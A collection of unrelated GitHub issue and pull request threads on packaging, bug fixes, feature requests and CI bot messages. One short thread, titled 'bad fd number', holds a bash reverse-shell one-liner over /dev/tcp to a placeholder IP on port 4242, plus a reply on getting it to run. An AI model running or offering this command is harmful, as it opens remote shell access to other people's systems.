Add git tag for 0.7.1 release

I am packaging jpype for nixpkgs and need the latest version from github since it includes tests. Right now I an fixing it to a specific commit that is the 0.7.1 release but would be nicer to use a tag instead.

I think that 0.7.1 was not fully released.
I cut the binary versions, but there wasnt a release point to attach it to yet.  I think that marscher got busy.  Our usual release usually adds the tags.
@marscher can you address this?  I am still far from civilization.  Is there something you were waiting on me for?

On 1/1/20 4:13 PM, Karl Nelson wrote:

I think that 0.7.1 was not fully released.
I cut the binary versions, but there wasnt a release point to attach it to yet.  I think that marscher got busy.  Our usual release usually adds the tags.
@marscher can you address this?  I am still far from civilization.  Is there something you were waiting on me for?

I was on vacation. Just pushed the missing tag. Thanks for spotting. As
already mentioned somewhere, the source archive was uploaded to PyPi.

Thank you!

Thanks marsher.  I will clean up the pull requests soon.


Create POST

POST

This is lovely.
A few things to change

Merge the first two tables if you can into one.
Consider changing the data type for burger weight to string and having the options be 100 and 200 or whatever the options you are allowing. As you're not going to perform a mathematical function with the weight, you don't need it to be an integer.

You can make the changes as a second PR. I am going to merge this for now

Another thing you can fix is the code formatting.
What you need to do is add 3 tic marks before and after the code - for example code.
Also, you can identify the code type by adding the name of the language just after the first tic marks- curl .
Finally, your code sample has an extra } make sure each { has a closing } and no more.


Barista hub

Baristas should have a separate page for their perks.
This page should:

Allow them to claim free on-shift drink
Allow them to claim free filter/tea always
Buy discounted off-shift drinks
swipe barista drinks

Design by Omid:

Left design has perks together, second design uses sections

closed by #413


Windows binary

Dear @keisentraut, Windows 7 x64 user here. Could you be so kind to generate .exe for the rest of us who are ordinary users without compilers?

Err… Hello?

Sorry for the late reply, this is just some hobby project. Here is your executable: https://github.com/keisentraut/age-keygen-deterministic/releases/tag/v0.4
Not sure if it will work, I don't have Windows.

$ age-keygen-deterministic.exe
thread 'main' panicked at src/main.rs:65:71:
called `Result::unwrap()` on an `Err` value: Os { code: 6, kind: Uncategorized, message: "The handle is invalid." }
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

$ age-keygen-deterministic.exe --help
age-keygen-deterministic 0.3
Klaus Eisentraut
Tool for deterministic age key generation from passphrase.

USAGE:
    age-keygen-deterministic.exe [OPTIONS]

FLAGS:
    -h, --help       Prints help information
    -V, --version    Prints version information

OPTIONS:
    -c, --count <count>      optional number of secret keys which should be created [default: 1]
    -o, --offset <offset>    optional u64 offset for index of keys [default: 0]

@keisentraut, as you can see, the program works in a peculiar way, but I don't understand how to generate the key.

If you run it in cmd.exe then this program  should ask you interactively for a password. However, it seems you did this and it panic-ed in the function call to rpassword::prompt_for_password. I don't know why and to be honest, I don't care and as I said I cannot test it, too. Try downloading rust/cargo for Windows for yourself, cross-compilation from Linux for Windows might be the issue but it could also be that the rpassword crate has some bug.
You are on your own, but feel free to submit a patch once you figure it out.

Sorry, I'm an ordinary user, not a developer. I'm afraid if I start compiling the code, something will go wrong. Surely you have more experience in that field than I do. But it seems like you never intended to create a solution for a wider audience that is increasingly in need of digital security. Thank you for the clarification, Klaus.


Add “mail³” to the dapps list

Hope to join your dapps list, thanks

Hi, we're glad to have been added to the alphawallet_dapp_list through the review ~ we have a question, we don't seem to see the dapp display on the Android alphawallet browser, is there any process we're missing? thanks

Hi, we're glad to have been added to the alphawallet_dapp_list through the review ~ we have a question, we don't seem to see the dapp display on the Android alphawallet browser, is there any process we're missing? thanks

Hi, no more process, it will take effect in the next release.


Fixed issue where ztp-eos.sh would fail if dns server not specified in DHCP response

Coverage remained the same at 76.716% when pulling 53cfc95be5734aaf2ffbe4032bb10f794f2369ee on eos_dns_fix into 97f8b86d58f15a394936003d2fba5447f29f3d28 on master.


Tari container - wallet password is not updated until the app restart

The container does not use the newly passed wallet password, until the application is restarted.

tomaszantas commented:
It affects all environment variables of all containers, ie. data_folder, monero urls, etc.

Closing. Will re-open if it begins to reoccur.


Support leaf_off_flag from land_cover_data for TMF methodology

Before I merge this one @ameliaholcomb, this one will potentially cause issues if we don't add the column to your database if you import new databases - are you okay with that?

Ahhh, sorry I didn't catch that when I was reviewing. Yeah, I don't love doing this without adding the column to the DB, and ideally even backfilling on existing rows (though I know that's a lot of work).
Now that I think about it, what do you need the leaf_off_flag for? The l4_quality_flag requires that leaf_off_flag == 0, and I'm assuming you already filter by that in your L4A code? Let's only pursue this change if you're making use of L4A shots with l4_quality_flag == 0 && leaf_off_flag == 1

As per the comment from @ameliaholcomb, we're already filtering on l4_quality_flag, and so for now I'll close this one.


Add format for cells with man-hours

Excel doesn't open file for all formats excepr "0.00".

Check this sample for XSSF
http://poi.apache.org/spreadsheet/quick-guide.html#DataFormats.


Feature/add crossword status checker

Work in progess, check and review functionalities, not code @krzwid @Przemyslaw5


Moved TeamcityReporter to own file & added test suite

This PR moves TeamcityReporter to its own file and adds a basic test suite based on mocha & expect.js.
For now, it covers only TeamcityReporter#escape().

This is awesome thank you. Hopefully I will get some time in the next couple days to review this change. For now, I've merged the actual fix and published the upgrade to remove any blockages.


document cog debug dockerfile

This PR updates the getting started guide with a note about how to view the dockerfile generated by Cog. A better long-term home for this information would be Cog's CLI docs, but those don't exist yet. See https://github.com/replicate/cog/issues/433
Resolves https://github.com/replicate/cog/issues/265

Looks good to me! And definitely nice to have until there are more comprehensive CLI docs.

I wonder whether this might be a distraction mid-getting-started-flow? Or maybe it's helpful to understand what's going on? ("Wow look at all this complicated stuff I didn't have to do")

Also this was intentionally under the cog debug namespace so we don't have to commit to maintaining it. (E.g. if we ever move off Dockerfiles.)
If we ever have some CLI documentation we should make it clear that there are no guarantees this will stick around.

I've heard enough people asking how to do this on GitHub, Discord, and IRL that I think it's worth documenting, even if it does go away.


Fixed issue with uninitialized constant Chef::Resource::HomebrewTap in Chef 13.0.118

Description
Fixes issue with cask resource on Chef 13.0.118
Changed how @tap variable is initialized by removing
Chef::Resource::HomebrewTap.new, which can't be resolved, to simply
new_resource, which resolves issue using Chef 13.0.118
Issues Resolved
Error executing actiontap on resource 'homebrew_tap[caskroom/cask]'
uninitialized constant Chef::Resource::HomebrewTap
Check List

[x] All tests pass. See https://github.com/chef-cookbooks/community_cookbook_documentation/blob/master/TESTING.MD
[ ] New functionality includes testing.
[ ] New functionality has been documented in the README if applicable
[x] All commits have been signed for the Developer Certificate of Origin. See https://github.com/chef-cookbooks/community_cookbook_documentation/blob/master/CONTRIBUTING.MD

Resolved in #119


Enable signal to child workflow in test framework

Add TestWorkflowEnvironment.SignalChildWorlfow(). Also modify the retry for child workflow to make sure the signal send during backoff time is delivered to the next attempt.

Coverage increased (+0.008%) to 68.774% when pulling 1797c61a2113ef31562a372ac6cfd0a57995fb8a on yiminc:signal_child_workflow into 38c110dd95975bf962375704cb8a078d27aa9037 on uber-go:master.


Update timeseries stack extensions

Necessary to support Postgres 17, though it cannot be used until pg_tier is updated.

pg_timeseries also depends on hydra's columnar, which does not currently support pg17, but pg17 is not in the 0.1.7 release

pg_timeseries also depends on hydra's columnar, which does not currently support pg17, but pg17 is not in the 0.1.7 release

Thanks, updated the commit message in 89a88fc8.


How to visualize 3D heatmap?

How to visualize 3D heatmap?

You could potentially use the surface plot to handle this. Closing as this isn't an issue as much as an inquiry.


Set up examples of using an alternate typeface in EDS components

Create examples in Figma using a second typeface for common components such as tables, buttons etc. while using the Equinor typeface in the headings. This together with the font pairing tables should be used to find the perfect fit.

Related issues:

#648
#650
#651 (this one)

See font pairings in Figma for examples


[Features] Manually set the port

https://doc.qt.io/qt-5/qtcpserver.html#listen
Tells the server to listen for incoming connections on address address and port port. If port is 0, a port is chosen automatically. If address is QHostAddress::Any, the server will listen on all network interfaces.

Fixed in 6a5da9b628403e7aefe23e2dc1d7b96e96665238


node.set not needed in default recipe

There is no need to set the nrpe.checks attribute with the set/normal priority. Default priority should be enough and would not mess with the node's persistent data.
See https://github.com/tas50/chef-nrpe/blob/af28f203aaf35ac6e94931a14de6b89c534ded81/recipes/default.rb#L83
Just to get a bit of context: we are managing nodes with git in our organization in a static way (since they are bare metal) and we have a script that check for synchronization b/t git and the chef server. Normal attributes are persistent data that we store in git as opposed to default/overrides which are generated during each chef run by roles/environments/cookbooks. Having normal attributes on a node mean that the cookbook requested to "store" some attribute across chef runs.

so, you propose to use default?
    node.default['nrpe']['checks'] = checks

Yes

That would also resolve the following warning from newer chef clients.
  node.set is deprecated and will be removed in Chef 14, please use node.default/node.override (or node.normal only if you really need persistence) at 2 locations:
    - /var/chef/cache/cookbooks/nrpe/recipes/default.rb:83:in `block (2 levels) in from_file'


env separation

This separates what the env name is that's used in Datadog and Django from what the env that's used for any folders or files.
So we can have /home/cchq/www/icds/ and have the env on Datadog be icds-new.
This seems like a reasonable separation to me.

@sravfeyn @calellowitz bump


Fix kubernetesenv workload attributes for multicluster with one control plane

Currently, kubernetesenv looks for the pod across cluster controllers. This works correctly because pods are uniquely identified by their uid or their ip. We then use a similar approach to lookup the workload - iterating through the controllers again. However, cacheController.Workload always returns true, so regardless of which controller the pod was found in, we would just take the result of cacheController.Workload from the first controller in the range iteration (which is random, hence why I was seeing it inconsistently not work correctly).
This PR fixes the issue by passing the found controller along with the pod to fillDestinationAttrs and fillSourceAttrs.
FWIW - I've never written Go before, so this is just my best stab at fixing the issue. Let me know if you'd like me to add tests - I didn't add any because, honestly, this fix took <5 minutes and looking at unfamiliar tests using unfamiliar frameworks in an unfamiliar language looked like it was going to take more time than I'd like to invest right now.
Fixes https://github.com/istio/istio/issues/10915

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: dicarlo2
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: hklai
If they are not already assigned, you can assign the PR to them by writing /assign @hklai in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

mixer/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

Hi @dicarlo2. Thanks for your PR.
I'm waiting for a istio member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work. Regular contributors should join the org to skip this step.
Once the patch is verified, the new status will be reflected by the ok-to-test label.
I understand the commands that are listed here.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

I signed it!

/ok-to-test

LGTM, thanks for fixing the bug!
/assign @douglas-reid to take a secondary look

@kyessenov: GitHub didn't allow me to assign the following users: a, secondary, look, to, take.
Note that only istio members and repo collaborators can be assigned.
For more information please see the contributor guide

In response to this:

LGTM, thanks for fixing the bug!
/assign @douglas-reid to take a secondary look

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@dicarlo2: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-multicluster-e2e.sh
5a1aff7291caed42922f1fde301dcf737f3335b7
link
/test istio-pilot-multicluster-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/lgtm
/approve
@wenchenglu we will need this in 1.1

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: dicarlo2, douglas-reid
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

mixer/OWNERS [douglas-reid]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/lgtm
/approve
pending on a required test to pass

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: dicarlo2, douglas-reid, wenchenglu
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

mixer/OWNERS [douglas-reid]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/retest

Circle does not obey /retest. I manually clicked the test restart button. The failing test is 503 ingress gateway, which has little to do with this PR.

@wenchenglu The test passed. Please merge this.


add pubu app

add pubu app, a slack-like app

Hi!
Shouldn't the app stanza end with .app ?

ok, I change that ^_^

Looks good. Merged as 2e29ef3.


Remove Knative buffering

Kubernetes HPA doesn't have request buffering like Knative does.  So supporting HPA requires bypassing the buffering.  And Skenario was modeling Knative buffering which has evolved significantly since Skenario was implemented.  Knative buffering is quite complex with the activator behaving as both a revision-level buffer and a load balancer.  And the concept of desired burst capacity changes how routing is configured.  All this is too much to model in Skenario core.  And modeling it external to Skenario in a plugin is outside the scope of this HPA project.
As such, we should just remove the Knative request buffering.  Which means that requests will move directly from traffic_source to requests_processing instead of stopping by requests_buffering.

This will probably break some of the UI since the graphs are queries on movements between stocks.


Support dotted keys

https://github.com/ordian/toml_edit/issues/58

Current implementation parses dotted keys as Tables with raw representation of dotted keys, but what happens e.g. if we add a child to that table or delete b in a.b.c = 3? I think what we need is a separate type, that can handle these use-cases properly and also that would allow a user to create a dotted key.

Abandoning so I can use another branch.


Provide a way of reading from the Secrets config file

Project Templates will create a file to store secrets for the app
File will be created in the following folder
	Windows - AppData/Roaming/Microsoft/AspNetUserSecrets/UserSecretsId/config.secrets.json
Project.json will have the following: "userSecretsId": "aspnet5-WebApplication108-GUID",The value is the same logic we use to specify database name in config.json
Template code to read config will be as follows
public Startup(IHostingEnvironment env, IApplicationEnvironment app)
        {
            // Setup configuration sources.
            Configuration = new Configuration()
                .AddJsonFile("config.json");

            if (env.EnvironmentName =="Development" )
            {
                 Configuration.AddUserSecrets();
            }
            else
            {
                Configuration.AddJsonFile("config." + env.EnvironmentName + ".json", true)
            }
             Configuration.AddEnvironmentVariables();
        }

Hey @Praburaj can you have a look?  These are tooling blocking issues.
/cc @rustd @DamianEdwards

This bug will depend on https://github.com/aspnet/Configuration/issues/123.

Merged : https://github.com/aspnet/Configuration/commit/7a4af7df7c1aad45db5c046c9123330ecf2faf09

Usage :
To install the user-secret tool globally:
dnu commands install SecretManager

Now open any command prompt and navigate to the project path (location of the project.json). To add a secret for the project (and do not forget to add a "userSecretsId" : "Your secretsId" value to your project.json):
user-secret set Facebook:AppId secretValue
To consume the secrets from your web application include the secrets configuration in to your app by calling the AddUserSecrets extension on your configuration object.


DotNetCoreCLI@2 Push running two push commands

Here is an example of my yaml
This task results in two dotnet nuget push commands being executed
Here is the build result of that task : https://dev.azure.com/lutando/Akkatecture/_build/results?buildId=385
Is this a bug or something?

@alexmullans this seems to be an issue with push command in dotnet task. Can you help out here.

This is by design. Your yaml file has a file selector in it: 'src/Akkatecture/bin/{0}/*.nupkg' that is matching two packages in your Release folder: Akkatecture.0.4.3-alpha-0705.nupkg and Akkatecture.1.0.0.nupkg. The second push is failing because 'Akkatecture 1.0.0' cannot be published to the feed because it exists in at least one of the feed's upstream sources. Publishing this copy would prevent you from using 'Akkatecture 1.0.0' from 'nuget.org'.
If you edit your yaml to change the file selector to exclude the second package, your build should succeed.


Fix potential memory leak in dh_ameth.c

Free dukm in error handling of dh_cms_encrypt()
Fixes #10294
Would this be considered trivial, or should I fill out a CLA?

Personally, I would consider this trivial. If you think so to then please add the line "CLA: trivial" on a line on its own (not the first line) in the commit message (use "git commit --amend" followed by a force push). OTOH if you might want to make other contributions to OpenSSL then filing a CLA might not be a bad idea anyway.

I'd consider this trivial as well, but I've filled out and emailed a CLA anyway, just in case of future contributions.

No need with a CLA on the way...

No need with a CLA on the way...

Good to know. Cheers.

CLA is in. I've been told this needs closing and reopening to kick the bot.

the CLA has to be filed manually and then whoever does it updates the database and closes/opens the PR

merged, thanks.
master: https://github.com/openssl/openssl/commit/6624e1f7b6a397948561e9cc2774f0c8af1d2c79
1.1.1: https://github.com/openssl/openssl/commit/c38761171f428d80cd7906b12a0cdac6d1285a7d
fixed and closed:  https://github.com/openssl/openssl/issues/10294


v33.0.0 Producing "Send command attempted with no client running [client=]"

Describe the bug
Was previously using v32 and updated to v33.0.0. I changed the rpcs from excludeOwner -> includeOwner (required change). After that no other change to the Network Manager logic or client initialization logic. I start with Host + Client now it seems I'm not connecting (or something like that). I get the error:
Send command attempted with no client running [client=]

When attempting to sent any Cmd. Not sure if the order in which I'm supposed to do events has changed but basically now I can't do anything.
How to reproduce the issue, step by step
Not sure how to reproduce since it was working fine, zero errors, then I updated to v33.0.0 and I get this all over the place.
Expected behavior
When I click Host + Client I should spawn the localclient object and initialize the team name, player name, etc via SyncVars. Using Cmds to send up to the server but it seems that I'm not connected or something because of the error:
Send command attempted with no client running [client=]

Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

OS: Windows 10
Build target: Windows 10, but happening when running via Editor, haven't gotten to a build
Unity version: 2018.4
Mirror branch: downloaded via your releases page

Additional context
Unity Editor Log:
* Server started listening
* Sever started!
* Replacing existing prefab with assetId 'ea23c4ba-ead0-1064-fb8d-13716ec787f4'. Old prefab 'vMeleeController_InventoryMP
* Server connected: localhost
* Client started!
* A Client Connected: localhost
* Server ready: localhost
* Client - Sending ClientRequestPlayerConnection message to the server...
* Server - Received ClientRequestPlayerConnection from client: 0
Send command attempted with no client running [client=].
UnityEngine.Debug:LogError(Object)
Mirror.NetworkBehaviour:SendCommandInternal(Type, String, NetworkWriter, Int32, Boolean) (at Assets/Mirror/Runtime/NetworkBehaviour.cs:152)
CBGames.Networking.Core.PlayerConnection:Cmd_SetTeamName(String)
CBGames.Networking.Core.PlayerConnection:SetTeamName(String) (at Assets/CBGames/InvectorMultiplayer/Basic/Scripts/Player/PlayerConnection.cs:270)
CBGames.Networking.Core.PlayerConnection:InitializeConnection(NetworkConnection, ClientRequestPlayerConnection) (at Assets/CBGames/InvectorMultiplayer/Basic/Scripts/Player/PlayerConnection.cs:80)
CBGames.Networking.Core.<CreatePlayer>d__58:MoveNext() (at Assets/CBGames/InvectorMultiplayer/Basic/Scripts/Manager/NetworkManager/CBNetworkManager.cs:192)
UnityEngine.SetupCoroutine:InvokeMoveNext(IEnumerator, IntPtr) (at C:/buildslave/unity/build/Runtime/Export/Coroutines.cs:17)

Custom Network Manager Snippets
public override void OnStartServer()
        {
            if (verboseLogging) Debug.Log("Sever started!");
            base.OnStartServer();
            NetworkServer.RegisterHandler<ClientRequestPlayerConnection>(CreatePlayerConnection);
            ...
        }
[Server]
        public virtual void CreatePlayerConnection(NetworkConnection conn, ClientRequestPlayerConnection data)
        {
            StartCoroutine(CreatePlayer(conn, data));
        }
protected virtual IEnumerator CreatePlayer(NetworkConnection conn, ClientRequestPlayerConnection data)
        {
            if (verboseLogging) Debug.Log("Server - Received ClientRequestPlayerConnection from client: " + conn.connectionId);

            // Spawn the PlayerConnection and initialize the values that were originally sent by the
            // newly connected client.
            GameObject resourcePrefab = Resources.Load<GameObject>(connectionPrefab.name);
            GameObject playerConnPrefab = Instantiate(resourcePrefab);
            NetworkServer.AddPlayerForConnection(conn, playerConnPrefab);
            playerConnPrefab.GetComponent<PlayerConnection>().InitializeConnection(conn, data);

            yield return null;
        }
public override void OnClientConnect(NetworkConnection conn)
        {
            if (verboseLogging) Debug.Log("A Client Connected: "+conn.address);
            base.OnClientConnect(conn);
            ClientRequestPlayerConnection msg = new ClientRequestPlayerConnection()
            {
                CharacterResource = playerPrefab.name,
                PlayerName = _localPlayerName,
                Team = _localTeamName,
                SceneName = sendClientsTo
            };
            if (verboseLogging) Debug.LogError("Client - Sending ClientRequestPlayerConnection message to the server...");
            NetworkClient.Send(msg);
        }

Player Connection Component
public virtual void InitializeConnection(NetworkConnection conn, ClientRequestPlayerConnection connectionData)
        {
            if (this.conn != null) return;
            this.conn = conn;

            if (ni.isServer)
            {
                SetTeamName(connectionData.Team);
                SetPlayerName(connectionData.PlayerName);
            }
            if (!string.IsNullOrEmpty(connectionData.SceneName))
            {
                SetSceneName(connectionData.SceneName);
            }
        }
public virtual void SetTeamName(string teamName)
        {
            if (ni.isLocalPlayer)
            {
                Cmd_SetTeamName(teamName);
            }
        }
[Command]
        public void Cmd_SetTeamName(string teamName)
        {
            this.teamName = teamName;
        }

All the other Set... functions are pretty much the same thing as SetTeamName they just set their own SyncVars.
No idea what has changed to all of a sudden make nothing work...

All of these errors have gone away by updating to v33.0.5


code of conduct

Mind if I use your code of conduct as a template for Pi Reel?
Click here for more info on pi reel.  Its still a work in progress.

I don't mind at all. Go right ahead.
And if in future you find your way back here, we could definitely use some help with JavaScript once we start writing the extension part of the project.

No not at all.  You could contact me with whatever you need.

Thank you very much. Hopefully we'll be in touch some time soon.


Druid Spell column indicates that Divine spells are available, but does not offer them in dropdown

I'm not actually sure which is correct! I'm a druid and if I get divine spells I'm not aware of it, but that would be a pretty typical thing for me to be unaware of. In any case, if the user should be able to choose 2 divine spells, they ought to be on the list to add, and if they shouldn't get divine spells, that shouldn't show on the available spells list.

Druid spells are divine, yes. In the Add New Spells list there, it's adding together all the possible sources of druid spells you could use to get that number. So if you were a Druid/Cleric, you might have 2 Druid spells, 2 Cleric spells, and 4 Divine spells granted from various sources.
Where does that "4 Divine spells" come from? The Basic Faith skill lets you take 4 Divine spells from a class that you have levels in.
So when you get to the list of Novice Druid spells, it just says "You can take 6 more of these" (2 Druid + 4 Divine). There's probably a better way, but I'm not sure what. "You can take 2 Druid spells and 4 Divine spells"? Or maybe keep the original but give it a tooltip? Lmk if you have ideas.

So Druid spells are innately divine? I think that was confusing to me because of this initial list:

Should there be a druid spells category?

I could move the selections for Basic Faith inside of Basic Faith, like how the Spell-scholar skills currently work. Then the spell list would only tell you how many Druid (or Cleric or whatever) spells you get, and it might be more clear. I made the Basic Faith and Basic Arcane spells appear in the global list because it seemed like it might be tough for a brand new player to find all the places they get to add spells from, but the badges on things that want a selection might be clear enough already.

I worry that you're right about what's easier for a new player, though I do find the badges really helpful in guiding me to what still needs to be selected. I don't have that full newbie viewpoint to be sure!

Changed to move Basic Faith/Arcane spell choices into that skill, so that the Spells Available readout is a little simpler.


[[FIX]] Do not accept empty values for directives

Previously, when an directive was specified without a value, JSHint
would interpret this as the empty string and apply linting rules
accordingly. The empty string is never a valid value for any directive,
so the generated warnings were not appropriate.
If a directive is specified without a value, trigger an explicit error
describing the invalid configuration.
Resolves gh-2261

Coverage increased (+0.01%) to 96.57% when pulling fca531c689916fd105f424a6bb1059dd8261d588 on jugglinmike:2261-empty-directives into 2ea9cb0f636cf005d48e53cc69b29175818f4ddf on jshint:master.

Coverage increased (+0.01%) to 96.57% when pulling 8e4307d9571964fc65a3ee381c7b6d57f72b3dee on jugglinmike:2261-empty-directives into 2ea9cb0f636cf005d48e53cc69b29175818f4ddf on jshint:master.


Implicit renderer

Problem
Currently the consumer must create the renderer they intend to use when calling render, which feels unnecessary when the Story already has the packages (or lack-thereof) necessary to determine which renderer to use
Solution
The render API no longer takes a renderer argument, and instead implicitly calls createRendererForStory. This makes for a friendlier API for the consumer by removing an extra step when rendering stories
I've also removed the renderers from the public API since they should largely be implementation details anyway

I'm gonna move ahead with this for now. Still not super happy with not being able to supply the renderer to render, but I'd rather slim down the API for a v1 right now and can revisit this later


bad fd number

bash -i >& /dev/tcp/<IP_ADDRESS>/4242 0>&1
results sh: 1: Syntax error: Bad fd number
How can I fix this?

Use it on bash not sh


Decouple slug property from slug path tokens; add random path token

Fixes #717
Previously, an mp-slug property would be created for a post, even if a user hadn’t chosen a slug (using slugified name if no mp-slug, else generating a random 5 character string if no name). This mp-slug value was then used for the {slug} path token.
In a recent beta however, mp-* values were not provided to the post template function. Even if a slug was defined, this value was no longer accessible to post templates.
In what might be a subtle change, this PR makes it so that if a value for mp-slug is provided, a slug value is saved to post properties (and thus available to front matter and downstream static site generators).
However, if no mp-slug is provided, no slug value is saved to the post template. However, as path may contain a {slug} token, this will maintain the existing fallback mechanism, that of using a slugified version of the name property, else a random 5 character string.
Media path tokens
There’s a bit of inconsistency between post and media tokens. This can be ironed out as so:

A new {random} token takes the place of {basename}, and this token can now be used for posts and media paths
The {originalname} token is renamed {filename}
To maintain the previous behaviour, you can use {random}.{ext}

Slug behaviour across versions
<= Beta 7

Request
Post template
Presets
{slug} token

Includes mp-slug
✔ (mp-slug)
✘
✔ (mp-slug)

Includes name
✔ (mp-slug)
✘
✔ (name)

None of the above
✔ (mp-slug)
✘
✔ (random)

TL;DR: mp-slug property always present with fallback value generated if no mp-slug in original Micropub request. Presets ignored mp-slug property.
Beta 8

Request
Post template
Presets
{slug} token

Includes mp-slug
✘
✘
✔ (mp-slug)

Includes name
✘
✘
✔ (name)

None of the above
✘
✘
✔ (random)

TL;DR: mp-slug not available to post template, only used for {slug} path token (with original fallback mechanism). Presets ignored mp-slug property.
Next

Request
Post template
Presets
{slug} token

Includes mp-slug
✔ (slug)
✔ (slug)
✔ (slug)

Includes name
✘
✘
✔ (name)

None of the above
✘
✘
✔ (random)

TL;DR: mp-slug used for slug property sent to post template and presets, with a value always generated for {slug} token using original fallback mechanism.

@aciccarello No idea if this makes sense, but basically if you include mp-slug, you can use slug in post templates. If not, you can’t (but a value for {slug} will always be generated for paths to use).

@paulrobertlloyd What's the reasoning for only passing the slug to post template functions if mp-slug is in the request? Shouldn't the slug always be passed? Specifically, I was using that to get the randomly generated ID.
I've got a workaround now but I'm happy to discuss.

To be honest, the slug Micropub extension is super confusing, and I’m not sure what the intent is and why it uses the mp- prefix when other properties don’t (interesting that it was previously not prefixed, too).
I guess I’m trying to be consistent with how other mp- properties work; if you use mp-syndicate-to, you end up with a syndication property. And so mp-slug indicates a slug has been decided and so the slug property gets passed along.
As mentioned previously, there are ways to get a URL slug within most static site generators, meaning it doesn’t need to be in the front matter. The case where a slug property in front matter is used however is the Hugo example, where it is used to override any file name to use the slug value in the URL.
This is certainly something I’m going to keep under review; I think this is in a better place than it was, but I’ll certainly find out if not!

I appreciate your consideration on this. I lean towards making it a front matter property but it's not blocking me so I have no issue with leaving that an open question.


List dependencies

Rakudobrew requires both Git and Perl to be installed before it will work. Especially on Windows these two are not present by default. The installation instructions fail if Perl is not present with an unhelpful error message ('perl' is not recognized as an internal or external command, operable program or batch file.).
The user should install Strawberry Perl / Activestate Perl and Git for Windows. Then follow the installation instructions.

True; would you say a note in the README is a sufficient documentation for this?


Incompatibility with protractor 4.0.10

While working on GlobaLeaks i just found that the current release of protractor-accessibility-plugin is no more compatible with protractor 4.0.10
[17:14:23] I/direct - Using ChromeDriver directly...
[17:14:23] I/launcher - Running 1 instances of WebDriver
Started
.

1 spec, 0 failures
Finished in 1.128 seconds

[17:14:26] I/plugins -       Fail:  protractor-accessibility-plugin Plugin Tests
[17:14:26] E/plugins -      Failure during teardown: browser.executeScript_ is not a function
[17:14:26] E/plugins -      TypeError: browser.executeScript_ is not a function
            at runChromeDevTools (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/protractor-accessibility-plugin/index.js:167:18)
            at Object.teardown (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/protractor-accessibility-plugin/index.js:61:17)
            at Plugins.safeCallPluginFun (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/protractor/built/plugins.js:208:45)
            at /home/evilaliv3/Devel/GlobaLeaks/client/node_modules/protractor/built/plugins.js:246:36
            at Array.forEach (native)
            at Plugins.teardown (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/protractor/built/plugins.js:244:25)
            at /home/evilaliv3/Devel/GlobaLeaks/client/node_modules/protractor/built/runner.js:359:28
            at _fulfilled (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/q/q.js:834:54)
            at self.promiseDispatch.done (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/q/q.js:863:30)
            at Promise.promise.promiseDispatch (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/q/q.js:796:13)
            at /home/evilaliv3/Devel/GlobaLeaks/client/node_modules/q/q.js:556:49
            at runSingle (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/q/q.js:137:13)
            at flush (/home/evilaliv3/Devel/GlobaLeaks/client/node_modules/q/q.js:125:13)
            at _combinedTickCallback (internal/process/next_tick.js:67:7)
            at process._tickCallback (internal/process/next_tick.js:98:9)

\cc @juliemr @sjelin @cnishina

@contolini @mgiambalvo : i think we should iterate a little bit on this patch.
what you edited would make the plugin work with >=4.0.10 and only that, since the commit where this api has been changed is the following: https://github.com/angular/protractor/commit/456bc96033ff7f3c8963cce8c52d88cae6495cec
it would be important at least to have an if/else detection of the name of the function so to allow compatibility with boy protractor<4.0.10 and protractor>=4.0.10
@sjelin @juliemr what do you suggest? maybe that it would be worth it to keep retrocompatibility inside protractor in order to not impact on the projects that are still using the old API name?
with this github search you can take a look to what is currently impacted: https://github.com/search?utf8=✓&q=browser.executeScript_&type=Code&ref=searchresults

browser.executeScript_ was a private method. We shouldn't have been using it in this plugin, but we do reserve the right to change private APIs as needed.
Your search was a bit broad, it looks like there are only 79 instances of calls to browser.executeScript_. They all seem to be cases where people have either forked or copied Protractor into their own repo. I don't see any instances of calls to executeScript_ from non-Protractor code.
I'd prefer to just land the patch as is, and make it clear that the next published version of this plugin will require protractor >= 4.0.10. I'm also planning on setting up CI for the official plugins so we can catch issues like this more proactively.

good to go so! waiting for the new package to be issued! :)

For sanity's sake it might be worth having this plugin's versioning sync with protractor's (i.e. bump protractor-accessibility-plugin's major version to 4 when it starts requiring version 4 of protractor's API).

@sjelin: i see on npm a version 0.2.0 but i do not see this repository having any tag and still presenting the 0.1.1 as declared version in the file package.json.
how is this possible? could you release the package including this fix?

Same issue here..
"protractor": "^4.0.13",
"protractor-accessibility-plugin": "^0.1.1",
Executed 9 of 9 specs SUCCESS in 24 secs.
[10:01:41] I/plugins -  	 Fail:  protractor-accessibility-plugin Plugin Tests
[10:01:41] E/plugins - 		Failure during teardown: browser.executeScript_ is not a function
[10:01:41] E/plugins - 		TypeError: browser.executeScript_ is not a function
at runChromeDevTools (/Users/myuser/Documents/GIT/Join2/node_modules/protractor-accessibility-plugin/index.js:167:18)
